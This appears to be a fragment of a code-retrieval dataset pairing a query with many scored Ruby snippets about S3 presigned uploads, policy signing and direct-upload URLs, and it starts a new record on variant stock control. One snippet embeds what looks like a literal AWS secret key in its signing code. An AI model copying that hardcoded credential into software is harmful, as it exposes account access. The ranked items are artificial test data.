"0.587948", "text": "def generate_fake_presign(location, options)\n url = request.url.sub(/presign$/, \"upload\")\n {url: url, fields: {key: location}}\n end", "title": "" }, { "docid": "e5405b9e1a56d759bc8d3d66571498cc", "score": "0.584706", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:); end", "title": "" }, { "docid": "2cb4fbbf81a530579a90c9f835bec1d0", "score": "0.5834781", "text": "def get_presign_url_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.get_presign_url ...'\n end\n # resource path\n local_var_path = '/uploads/presign'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_token_basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Hash<String, Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#get_presign_url\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9e1b751935ff5367e23b9caca3653483", "score": "0.5820912", "text": "def presign_post(id, options)\n presigned_post = object(id).presigned_post(options)\n\n { method: :post, url: presigned_post.url, fields: presigned_post.fields }\n end", "title": "" }, { "docid": "cc529d55f8aff4b518c14214f87fa5d2", "score": "0.58133614", "text": "def execute()\r\n s3 = Aws::S3::Client.new(access_key_id: @info_values['access_key_id'],\r\n secret_access_key: @info_values['secret_access_key'],\r\n region: @parameters['region'])\r\n\r\n signer = Aws::S3::Presigner.new( {client: s3} )\r\n\r\n seconds_to_expire_int = @parameters['seconds_to_expire'].to_i\r\n\r\n url = signer.presigned_url(:get_object, bucket: @parameters['bucket'], key: @parameters['key'], expires_in: seconds_to_expire_int )\r\n\r\n # Build the results XML that will be returned by this handler.\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Public Url\">#{escape(url)}</result>\r\n </results>\r\n RESULTS\r\n end", "title": "" }, { "docid": "08d48212ae2bcc44adba17571380b184", "score": "0.5794195", "text": "def generate_fake_presign(location, options)\n url = request.url.sub(/presign[^\\/]*$/, \"upload\")\n {url: url, fields: {key: location}}\n end", "title": "" }, { "docid": "712978dfbd5c52336707d50641ea59be", "score": "0.5784613", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "9073b9f7c8c01bc4cae8e03117a1193f", "score": "0.5774155", "text": "def generate_url(file)\n\n bucket = \"timbersafe-s3\"\n s3_file_path = \"testresize/#{file}\"\n\n connect_to_s3()\n signer = Aws::S3::Presigner.new\n url = signer.presigned_url(:get_object, bucket: bucket, key: s3_file_path)\n\nend", "title": "" }, { "docid": "2dce95f18a5f2b842b570545e1df27d4", "score": "0.5750087", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n instrument :url_for_direct_upload, key: key do\n Cloudinary::Utils.cloudinary_api_url(\"upload\", resource_type: \"auto\")\n end\n end", "title": "" }, { "docid": "af462b5f42e03fc677ec592366f018e4", "score": "0.5707684", "text": "def public_url\n \"#{AwsSigner.s3_base_url}/#{AwsSigner.upload_bucket}/#{file_path}\"\n end", "title": "" }, { "docid": "74249bd4b113e23cd266efb3698712a9", "score": "0.5678949", "text": "def create\n @upload = Upload.create!(upload_params)\n render json: signature # Step 2: Return the presigned URL after doing some validations\n rescue\n head :forbidden\n end", "title": "" }, { "docid": "9db075c0e392c9b41db06ebcf892f730", "score": "0.5674417", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n instrument :url_for_direct_upload, key: key do\n options = {\n expires_in: expires_in,\n content_type: content_type,\n content_length: content_length,\n checksum: checksum\n }\n direct_upload_url_for_public_id(key, options)\n end\n end", "title": "" }, { "docid": "b7feb88ec4fbeefdf7456e58f9c0a43e", "score": "0.5661563", "text": "def build_request(method, path, options = {})\n if options[:bucket]\n path = \"/#{options[:bucket]}/#{path}\".gsub(\"//\", \"/\")\n end\n\n request = SimpleAWS::Request.new method, self.uri, path\n\n (options[:params] || {}).each do |k, v|\n request.params[k] = v\n end\n\n (options[:headers] || {}).each do |k, v|\n request.headers[k] = v\n end\n\n if options[:file]\n options[:body] = options.delete(:file)\n end\n\n signing_params = {}\n request.params.delete_if {|k, v|\n if k =~ /^response-/i\n signing_params[k] = v\n true\n end\n }\n\n if signing_params.length > 0\n to_add = signing_params.map {|k, v|\n \"#{k}=#{v}\"\n }.join(\"&\")\n\n request.path = request.path + \"?#{to_add}\"\n end\n\n request.body = options[:body]\n\n if request.body.respond_to?(:read)\n request.headers[\"Content-Type\"] ||= \"application/octet-stream\"\n request.headers[\"Content-Length\"] = File.size(request.body).to_s\n request.headers[\"Expect\"] = \"100-continue\"\n end\n\n request\n end", "title": "" }, { "docid": "05a782430a8407ccbc59cf536e9bde9a", "score": "0.5647043", "text": "def get_signed_url_for(bucket, s3_path, options = {})\n\n begin\n\n signer = Aws::S3::Presigner.new({client: client})\n params = {\n bucket: bucket,\n key: s3_path\n }\n\n presigned_url = signer.presigned_url(\n :get_object,\n params.merge(options)\n )\n\n success_with_data({\n presigned_url: presigned_url\n })\n\n rescue StandardError => se\n\n return exception_with_data(\n se,\n 'l_a_s3_m_1',\n GlobalConstant::ErrorAction.default,\n {\n key: s3_path,\n bucket: bucket,\n options: options\n }\n )\n\n end\n\n end", "title": "" }, { "docid": "c2fe3bbfe34d4d5ffc4435ac20c61c3c", "score": "0.5634206", "text": "def upload_params(prefix, opts={})\n return if prefix.blank?\n\n expires = (opts[:expires] || 30.minutes).from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z')\n bucket = AmazonHelper.bucket\n acl = (opts[:public] == true) ? 'public-read' : 'private'\n max_filesize = opts[:max_filesize] || 200.megabyte\n\n policy = Base64.encode64(\n \"{'expiration': '#{expires}',\n 'conditions': [\n {'bucket': '#{bucket}'},\n ['starts-with', '$key', '#{prefix}'],\n {'acl': '#{acl}'},\n {'success_action_status': '201'},\n ['content-length-range', 0, #{max_filesize}]\n ]\n }\").gsub(/\\n|\\r/, '')\n\n signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n secret_key,\n policy)\n ).gsub(\"\\n\",\"\")\n\n {\n :key => \"#{prefix}/${filename}\",\n :acl => acl,\n :policy => policy,\n :signature => signature,\n :AWSAccessKeyId => access_key,\n :success_action_status => 201\n }\n end", "title": "" }, { "docid": "4497129c65da1dfc88f4d79f43798a1a", "score": "0.5629039", "text": "def to_multipart_form_data\n metadata = {\n awsAuth: {\n accessKey: aws_access_key,\n secretKey: aws_secret_key\n },\n s3Config: {\n region: s3_region,\n bucket: s3_bucket,\n permissions: s3_acl\n }\n }\n\n if archive_root\n metadata[:archiveConfig] = {root: archive_root}\n end\n\n if s3_root\n metadata[:s3Config][:root] = s3_root\n end\n\n metadata\n end", "title": "" }, { "docid": "6f9e0c05343d8a2102564ab46de58b68", "score": "0.56028646", "text": "def presign_upload\n render plain: hmac_data, status: :ok\n end", "title": "" }, { "docid": "2443e3fe5f8fd9561e6c63de95a271e3", "score": "0.56024927", "text": "def aws_uploads\n render json: {\n policy: aws_s3_upload_policy_document,\n signature: aws_s3_upload_signature,\n key: params[:doc][:directory] + \"/\" + params[:doc][:filename],\n success_action_redirect: \"/\"\n }\n end", "title": "" }, { "docid": "e671f70481edbe194d156670d046eb88", "score": "0.5591484", "text": "def url(id, public: self.public, host: nil, **options)\n if public || signer\n url = object(id).public_url(**options)\n else\n url = object(id).presigned_url(:get, **options)\n end\n\n if host\n uri = URI.parse(url)\n uri.path = uri.path.match(/^\\/#{bucket.name}/).post_match unless uri.host.include?(bucket.name)\n url = URI.join(host, uri.request_uri[1..-1]).to_s\n end\n\n if signer\n url = signer.call(url, **options)\n end\n\n url\n end", "title": "" }, { "docid": "77a1d7a0d676d56eb6f88b005acd7807", "score": "0.55777967", "text": "def get_presign_options\n options = presign_options\n options = options.call(request) if options.respond_to?(:call)\n options || {}\n end", "title": "" }, { "docid": "77a1d7a0d676d56eb6f88b005acd7807", "score": "0.55777967", "text": "def get_presign_options\n options = presign_options\n options = options.call(request) if options.respond_to?(:call)\n options || {}\n end", "title": "" }, { "docid": "77a1d7a0d676d56eb6f88b005acd7807", "score": "0.55777967", "text": "def get_presign_options\n options = presign_options\n options = options.call(request) if options.respond_to?(:call)\n options || {}\n end", "title": "" }, { "docid": "38d1a946ea561314da295c6bce92daa5", "score": "0.5562435", "text": "def sign_request(request, content = nil, headers = {})\n unless request.is_a?(Net::HTTPRequest)\n raise ArgumentError,\n \"Expected Net::HTTPRequest, not #{request.class}\"\n end\n\n unless request.path =~ /^(\\/.*?)(?:\\?.*)?$/i\n raise S3Error, \"Invalid request path: #{request.path}\"\n end\n \n path = $1\n \n request['Host'] = REST_ENDPOINT\n request['Date'] = Time.new.httpdate()\n \n if content.nil?\n request['Content-Length'] = 0\n elsif content.is_a?(IO)\n # Generate an MD5 hash of the stream's contents.\n md5 = Digest::MD5.new\n content.rewind\n \n while buffer = content.read(65536) do\n md5 << buffer\n end\n \n content.rewind\n \n # Set headers.\n request['Content-Type'] = 'binary/octet-stream'\n request['Content-Length'] = content.stat.size\n request['Content-MD5'] = Base64.encode64(md5.digest).strip\n else\n request['Content-Type'] = 'binary/octet-stream'\n request['Content-Length'] = content.length\n request['Content-MD5'] = Base64.encode64(Digest::MD5.digest(\n content)).strip\n end\n\n headers.each {|key, value| request[key] = value }\n \n hmac = OpenSSL::HMAC.new(@secret_access_key, OpenSSL::Digest::SHA1.new)\n hmac << \"#{request.method}\\n#{request['Content-MD5']}\\n\".toutf8 +\n \"#{request['Content-Type']}\\n#{request['Date']}\\n\".toutf8\n \n request.to_hash.keys.sort.each do |key|\n if key =~ /^x-amz-/i\n hmac << \"#{key.downcase.strip}:#{request[key].strip}\\n\".toutf8\n end\n end\n \n hmac << path.toutf8\n \n signature = Base64.encode64(hmac.digest).strip\n \n request['Authorization'] = \"AWS #{@access_key_id}:#{signature}\"\n \n return request\n end", "title": "" }, { "docid": "3f52bba7238efc5ea7c341df7b49c1dc", "score": "0.55400676", "text": "def canonical_string(method, path, headers, expires=nil)\n\n # Start out with default values for all the interesting headers.\n sign_headers = {}\n INTERESTING_HEADERS.each { |header| sign_headers[header] = '' }\n\n # Copy in any actual values, including values for custom S3\n # headers.\n headers.each do |header, value|\n if header.respond_to? :to_str\n header = header.downcase\n # If it's a custom header, or one Amazon thinks is interesting...\n if INTERESTING_HEADERS.member?(header) ||\n header.index(AMAZON_HEADER_PREFIX) == 0\n # Add it to the header has.\n sign_headers[header] = value.to_s.strip\n end\n end\n end\n \n # This library eliminates the need for the x-amz-date header that\n # Amazon defines, but someone might set it anyway. If they do,\n # we'll do without HTTP's standard Date header.\n sign_headers['date'] = '' if sign_headers.has_key? 'x-amz-date'\n\n # If an expiration time was provided, it overrides any Date\n # header. This signature will be valid until the expiration time,\n # not only during the single second designated by the Date header.\n sign_headers['date'] = expires.to_s if expires\n\n # Now we start building the canonical string for this request. We\n # start with the HTTP method.\n canonical = method.to_s.upcase + \"\\n\"\n\n # Sort the headers by name, and append them (or just their values)\n # to the string to be signed.\n sign_headers.sort_by { |h| h[0] }.each do |header, value|\n canonical << header << \":\" if header.index(AMAZON_HEADER_PREFIX) == 0\n canonical << value << \"\\n\"\n end\n\n # The final part of the string to be signed is the URI path. We\n # strip off the query string, and (if neccessary) tack one of the\n # special S3 query parameters back on: 'acl', 'torrent', or\n # 'logging'.\n canonical << path.gsub(/\\?.*$/, '')\n\n for param in ['acl', 'torrent', 'logging']\n if path =~ Regexp.new(\"[&?]#{param}($|&|=)\")\n canonical << \"?\" << param\n break\n end\n end\n return canonical\n end", "title": "" }, { "docid": "20402e8204378d1b17810a7d32bd57f9", "score": "0.55330753", "text": "def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:)\n params = { timestamp: Time.now.to_i, public_id: key }\n api_secret = Cloudinary.config.api_secret\n signature = Cloudinary::Utils.api_sign_request(params, api_secret)\n\n params.merge(\n api_key: Cloudinary.config.api_key,\n signature: signature,\n )\n end", "title": "" }, { "docid": "761ba40b97066ac8214489174275852f", "score": "0.54727685", "text": "def write(data, options = {})\n \n locator = options[:key] || options[:locator]\n s3_options = options[:s3_options] || {}\n s3_options.merge!(:acl=>:public_read)\n\n if locator.nil? or locator.empty?\n new_file_name = options[:filename] ? sanitize_filename(options[:filename]) : Peanut::Toolkit.rand_string[0..15]\n new_file_name += '.' + s3_options[:extension] if s3_options[:extension]\n locator = \"#{Time.new.tv_sec}#{new_file_name}\"\n end\n\n obj = bucket.objects[locator]\n\n obj.write(data, s3_options)\n\n [locator, obj.public_url.to_s]\n end", "title": "" }, { "docid": "2b4d9232dc089180103e611923dd783c", "score": "0.5454791", "text": "def get_presign_url(opts = {})\n data, _status_code, _headers = get_presign_url_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "9fe5c97ab2b9f498a6cfc584bc8f1861", "score": "0.5443847", "text": "def upload(resource, filename)\n _validate_presence_of resource, filename\n raise ArgumentError, 'Need to provied resource of Github::Repose::Downloads#create_download call' unless resource.is_a? Hashie::Mash\n\n REQUIRED_S3_PARAMS.each do |key|\n raise ArgumentError, \"Expected following key: #{key}\" unless resource.respond_to?(key)\n end\n\n # TODO use ordered hash if Ruby < 1.9\n hash = ruby_18 {\n require 'active_support'\n ActiveSupport::OrderedHash.new } || ruby_19 { Hash.new }\n\n mapped_params = {\n 'key' => resource.path,\n 'acl' => resource.acl,\n 'success_action_status' => SUCCESS_STATUS,\n 'Filename' => resource.name,\n 'AWSAccessKeyId' => resource.accesskeyid,\n 'Policy' => resource.policy,\n 'Signature' => resource.signature,\n 'Content-Type' => resource.mime_type,\n 'file' => prepend_at_for(filename.to_s)\n }\n\n post('', mapped_params, { :url => resource.s3_url })\n end", "title": "" }, { "docid": "bd286aa156593d09fe06c93e172b121d", "score": "0.5440815", "text": "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n AWS.config.secret_access_key,\n s3_upload_policy_document\n )\n ).gsub(\"\\n\", \"\")\n end", "title": "" }, { "docid": "2a23fdc75bf59a1be0640967c4e93439", "score": "0.5433108", "text": "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), S3[\"secret_access_key\"], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "46ec9547661a2cc222c467f9d600ad2b", "score": "0.54158413", "text": "def params_for_post(options={})\n options.symbolize_keys!\n #check_keys options, :orderID, :amount\n opts = default_options(options)\n opts[:SHASign] = signature(opts)\n opts\n end", "title": "" }, { "docid": "7e77e5769bfdd019e914653e10a506a7", "score": "0.54145545", "text": "def presigned\n logger.debug \"CALLING PRESIGNED\"\n if CLOUDRECORDER_TOKEN\n begin\n response = RestClient.post(\"#{CLOUDRECORDER_BASE}/files/presigned\", { }, 'authorization' => \"Token token=#{CLOUDRECORDER_TOKEN}\")\n jdata = JSON.parse(response.body)\n logger.debug \"PRESIGNED: #{jdata.inspect}\"\n render :json => jdata\n rescue => e\n render :json => {\n :error => e.message\n }\n end\n else\n render :json => { :error => \"CloudRecorder not configured\" }\n end\n end", "title": "" }, { "docid": "7a1a0e5ef9578e92021850a03a28d2b5", "score": "0.54066515", "text": "def file_url(uid, info = {}, content_type: nil, content_disposition: nil, **options)\n options[:response_content_type] ||= content_type\n options[:response_content_disposition] ||= content_disposition\n\n object(uid).presigned_url(:get, **options)\n end", "title": "" }, { "docid": "6e033d306904cd0a0018f4d6002c0138", "score": "0.54038817", "text": "def generate_presign(location, options)\n if presign_storage?\n generate_real_presign(location, options)\n else\n generate_fake_presign(location, options)\n end\n end", "title": "" }, { "docid": "6e033d306904cd0a0018f4d6002c0138", "score": "0.54038817", "text": "def generate_presign(location, options)\n if presign_storage?\n generate_real_presign(location, options)\n else\n generate_fake_presign(location, options)\n end\n end", "title": "" }, { "docid": "6e033d306904cd0a0018f4d6002c0138", "score": "0.54038817", "text": "def generate_presign(location, options)\n if presign_storage?\n generate_real_presign(location, options)\n else\n generate_fake_presign(location, options)\n end\n end", "title": "" }, { "docid": "983ccd44a4d3bf2114d5adff78247f35", "score": "0.53988117", "text": "def s3_upload_params\n Dydra::Client.rpc.call('dydra.repository.upload.params', path)\n end", "title": "" }, { "docid": "d885f753f16e5181e47185a2ba8fd8b9", "score": "0.53926253", "text": "def s3_uploader(options = {})\n s3_access_key_id = ENV['S3_ACCESS_KEY']\n s3_secret_access_key = ENV['S3_SECRET_KEY']\n s3_bucket = ENV['S3_BUCKET_NAME']\n \n options[:key] ||= 'test' # folder on AWS to store file in\n options[:acl] ||= 'private'\n options[:expiration_date] ||= 10.hours.from_now.utc.iso8601\n options[:max_filesize] ||= 500.megabytes\n options[:content_type] ||= 'application/pdf'\n options[:filter_title] ||= 'Documents'\n options[:filter_extentions] ||= 'pdf'\n\n id = options[:id] ? \"_#{options[:id]}\" : ''\n\n policy = Base64.encode64(\n \"{'expiration': '#{options[:expiration_date]}',\n 'conditions': [\n {'bucket': '#{s3_bucket}'},\n {'acl': '#{options[:acl]}'},\n {'success_action_status': '201'},\n ['content-length-range', 0, #{options[:max_filesize]}],\n ['starts-with', '$key', ''],\n ['starts-with', '$Content-Type', ''],\n ['starts-with', '$name', ''],\n ['starts-with', '$Filename', '']\n ]\n }\").gsub(/\\n|\\r/, '')\n\n signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n s3_secret_access_key, policy)).gsub(\"\\n\",\"\")\n unique_filename = ActiveSupport::SecureRandom.hex\n\n\n out = \"\"\n\n out << javascript_tag(\"$(function() {\n\n /*\n * S3 Uploader instance\n */\n // image uploader via plupload\n var uploader = new plupload.Uploader({\n runtimes : 'flash,silverlight',\n browse_button : 'pickfiles',\n max_file_size : '500mb',\n url : 'http://#{s3_bucket}.s3.amazonaws.com/',\n flash_swf_url: '/javascripts/plupload/plupload.flash.swf',\n silverlight_xap_url: '/javascripts/plupload/plupload.silverlight.xap',\n preinit : {\n UploadFile: function(up, file) {\n up.settings.multipart_params.key = '#{options[:key]}/#{unique_filename}_blah.pdf'\n }\n },\n init : {\n FilesAdded: function(up, files) {\n plupload.each(files, function(file) {\n if (up.files.length > 1) {\n up.removeFile(file);\n }\n });\n if (up.files.length >= 1) {\n $('#pickfiles').fadeOut('slow');\n }\n },\n FilesRemoved: function(up, files) {\n if (up.files.length < 1) {\n $('#pickfiles').fadeIn('slow');\n }\n }\n },\n multi_selection: false,\n multipart: true,\n multipart_params: {\n 'key': 'test/${filename}',\n 'Filename': '${filename}', // adding this to keep consistency across the runtimes\n 'acl': '#{options[:acl]}',\n 'Content-Type': '#{options[:content_type]}',\n 'success_action_status': '201',\n 'AWSAccessKeyId' : '#{s3_access_key_id}',\n 'policy': '#{policy}',\n 'signature': '#{signature}'\n },\n filters : [\n {title : '#{options[:filter_title]}', extensions : '#{options[:filter_extentions]}'}\n ],\n file_data_name: 'file'\n });\n\n // instantiates the uploader\n uploader.init();\n\n // shows the progress bar and kicks off uploading\n uploader.bind('FilesAdded', function(up, files) {\n $('#progress_bar .ui-progress').css('width', '5%');\n $('span.ui-label').show();\n // start the uploader after the progress bar shows\n $('#progress_bar').show('fast', function () {\n uploader.start();\n });\n });\n\n // binds progress to progress bar\n uploader.bind('UploadProgress', function(up, file) {\n if(file.percent < 100){\n $('#progress_bar .ui-progress').css('width', file.percent+'%');\n }\n else {\n $('#progress_bar .ui-progress').css('width', '100%');\n $('span.ui-label').text('Complete');\n }\n });\n\n // shows error object in the browser console (for now)\n uploader.bind('Error', function(up, error) {\n // unfortunately PLUpload gives some extremely vague\n // Flash error messages so you have to use WireShark\n // for debugging them (read the README)\n alert('There was an error. Check the browser console log for more info');\n console.log('Expand the error object below to see the error. Use WireShark to debug.');\n console.log(error);\n });\n\n // Update input field in form with filename.\n uploader.bind('FileUploaded', function(up, file, info){\n $('#vendor_doc_document').attr('value',up.settings.multipart_params.key);\n $('#vendor_doc_submit').show()\n\n });\n\n });\")\n \n end", "title": "" }, { "docid": "76c8830e66977842389a62283972eb58", "score": "0.5392587", "text": "def service_headers_for_direct_upload\n service.headers_for_direct_upload key, filename: filename, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata\n end", "title": "" }, { "docid": "a049d12f18d38c9fb89093d4e1b39594", "score": "0.538547", "text": "def s3_upload_signature\n @signature ||= begin\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n AWS_SECRET_ACCESS_KEY,\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end\n end", "title": "" }, { "docid": "c2bf1d4a131b2423774235de4d907dd0", "score": "0.53797966", "text": "def upload\n key = \"#{Time.now.to_s(:db).gsub(/[ :]/, ?-)}.jpg\"\n obj = upload_to_s3(key)\n Photo.create!(path: key)\n\n render plain: obj.public_url\n end", "title": "" }, { "docid": "16e541273f25b208938c85c1a4f2cd7e", "score": "0.5379025", "text": "def url(id, download: nil, public: self.public, host: self.host, **options)\n options[:response_content_disposition] ||= \"attachment\" if download\n options[:response_content_disposition] = encode_content_disposition(options[:response_content_disposition]) if options[:response_content_disposition]\n\n if public || signer\n url = object(id).public_url(**options)\n else\n url = object(id).presigned_url(:get, **options)\n end\n\n if host\n uri = URI.parse(url)\n uri.path = uri.path.match(/^\\/#{bucket.name}/).post_match unless uri.host.include?(bucket.name)\n url = URI.join(host, uri.request_uri[1..-1]).to_s\n end\n\n if signer\n url = signer.call(url, **options)\n end\n\n url\n end", "title": "" }, { "docid": "d1fbd1de4867639c4e1acd52b49f3248", "score": "0.5374264", "text": "def s3_upload_signature\n signature = OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n config.secret_key,\n s3_upload_policy_document\n )\n encode(signature)\n end", "title": "" }, { "docid": "6660d2966316ac8c32ff963915dc5da8", "score": "0.5371653", "text": "def presign\n nk = storage_key_do\n presigned = presign_get_by_node_key(nk, params)\n return unless response.status == 200\n\n if params.key?(:no_redirect)\n render status: 200, json: presigned.to_json\n return\n end\n url = presigned['url']\n response.headers['Location'] = url\n render status: 303, plain: ''\n end", "title": "" }, { "docid": "0dfffd8ab6fb244d933894440cd2ce36", "score": "0.53654563", "text": "def get_upload_params_for(content_type, key, content_length_range)\n\n post = Aws::S3Manager.new('login', 'admin').get_presigned_post_url_for_client_assets(content_type, key,\n GlobalConstant::Aws::Common.client_assets_bucket,\n content_length_range)\n\n {url: post.url, fields: post.fields}\n end", "title": "" }, { "docid": "07f02915f936acd1f2427f0717e16f54", "score": "0.5359955", "text": "def direct_url(filename, opts = {})\n s3.authenticated_url(service.storage_path, filename, opts) \n end", "title": "" }, { "docid": "218b1ac95a693b90ca5380d4f413677d", "score": "0.5356561", "text": "def get_pre_singed_url_for_put\n @service_response = UserManagement::DocumentsUploader::V2::ForPut.new(params).perform\n format_service_response\n end", "title": "" }, { "docid": "29375fe51bf05843f3d4ec9fdc25d4fd", "score": "0.5349015", "text": "def upload\n # Upload the given file\n AWS::S3::S3Object.store( FILE,\n open( FILE ),\n BUCKET,\n :access => :public_read )\n\n # display the URL of the file just uploaded\n puts AWS::S3::S3Object.url_for((FILE), BUCKET)[/[^?]+/]\nend", "title": "" }, { "docid": "6cb9344383040830159339a3351c64d9", "score": "0.5347077", "text": "def get_upload_params\n service_response = UserManagement::DocumentsUploader::SignedPostParams.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "6cb9344383040830159339a3351c64d9", "score": "0.5347077", "text": "def get_upload_params\n service_response = UserManagement::DocumentsUploader::SignedPostParams.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "aa620b1c273d5a27cd61da4a124baa6f", "score": "0.53435385", "text": "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n UPLOADS[:aws_secret],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end", "title": "" }, { "docid": "44a6b17ef56aa81e7f98bc6a7c0828e2", "score": "0.5332964", "text": "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), AWS.config.secret_access_key, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "706f27ab73f2f82c59583b61fe22937f", "score": "0.5331775", "text": "def presigned_post(options = {})\n PresignedPost.new(self, options)\n end", "title": "" }, { "docid": "659aeebe77fca8e69779153afc8661e2", "score": "0.533158", "text": "def upload_to_s3\n s3 = Aws::S3::Resource.new\n tenant_name = Tenant.find(Thread.current[:tenant_id]).name\n obj = s3.bucket(ENV['S3_BUCKET']).object(\"#{tenant_name}/#{upload.original_filename}\")\n obj.upload_file(upload.path, acl:'public-read')\n self.key = obj.public_url\n end", "title": "" }, { "docid": "f83ba2013f401ed1689fd638edfe6dba", "score": "0.53245467", "text": "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV['AWS_SECRET_ACCESS_KEY'],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end", "title": "" }, { "docid": "e05c1f96cfec6ed90e7fd7859678f741", "score": "0.53167444", "text": "def get_url(content_type, key)\n post = Aws::S3Manager.new('kyc', 'user').get_presigned_post_url_for(content_type, key, GlobalConstant::Aws::Common.kyc_bucket)\n\n {url: post.url, fields: post.fields}\n end", "title": "" }, { "docid": "de8cc0ad595a1e8183365dbce027ed7f", "score": "0.5312588", "text": "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), \"0wU8qcDC6Jv5St+4nGTtvWU7QyeQwDhBGwcvxFs/\", s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "d37ea97629b745c1180de4f53211ac8f", "score": "0.53105927", "text": "def get_s3_bucket_public_url(options)\n s3 = initiate_aws_s3_resource(options)\n url = s3.bucket(options['bucket']).object(options['object']).public_url\n return url\nend", "title": "" }, { "docid": "5f00872e23b5f823850fc00470df35b5", "score": "0.5310238", "text": "def upload_url_for(identifier, content_type)\n get(identifier).presigned_url :put, key: key(identifier), acl: \"public-read\", content_type: content_type\n end", "title": "" }, { "docid": "43d744d2c07fdb27d67e575da1ee8d0e", "score": "0.53096503", "text": "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), ENV['AWS_SECRET_ACCESS_KEY'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "826c62ba8b354e535269fd3a83252a9b", "score": "0.53078336", "text": "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n ENV['AWS_SECRET_ACCESS_KEY'],\n s3_upload_policy_document\n )\n ).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "7588fbf2406b5997c13406c04ffce57e", "score": "0.53076416", "text": "def authenticated_s3_url(*args)\n options = args.extract_options!\n thumbnail = args.shift\n S3Object.url_for(full_filename(thumbnail), bucket_name, options)\n end", "title": "" }, { "docid": "88c6f82970795e8693305f605b2994a9", "score": "0.53041595", "text": "def s3_upload_signature\n puts AdminIt.config.s3\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n AdminIt.config.s3[:secret_access_key],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end", "title": "" }, { "docid": "8723b0a2c485bdf232ebcfb527c1bf67", "score": "0.530292", "text": "def get_pre_singed_url_for_post\n @service_response = UserManagement::DocumentsUploader::V2::ForPost.new(params).perform\n format_service_response\n end", "title": "" }, { "docid": "9eaf1ec13ddad80f7d9e0c10c2283ca5", "score": "0.5301134", "text": "def use_s3_proxy?(post)\n false\n end", "title": "" }, { "docid": "3137275545da4c0a2688f2028409890f", "score": "0.5297871", "text": "def s3_upload_signature\n signature =\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV['S3_SECRET'],\n s3_upload_policy)\n ).gsub(\"\\n\",\"\")\n end", "title": "" }, { "docid": "031631ad0225c21b34144aa9f1bc3787", "score": "0.5295984", "text": "def s3_upload_signature\n @signature ||= Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV['AWS_SECRET_ACCESS_KEY'],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\nend", "title": "" } ]
a721835a9e029eae85e66a89e45d3ecc
Return true if parent variant in stock
[ { "docid": "48ba1d646b4422fb55cf9b956d6cf62e", "score": "0.7827666", "text": "def child_variants_stock_control?\n if self.root_variant?\n self.descendants.where(:stock_control => true).length > 0\n else\n false\n end\n end", "title": "" } ]
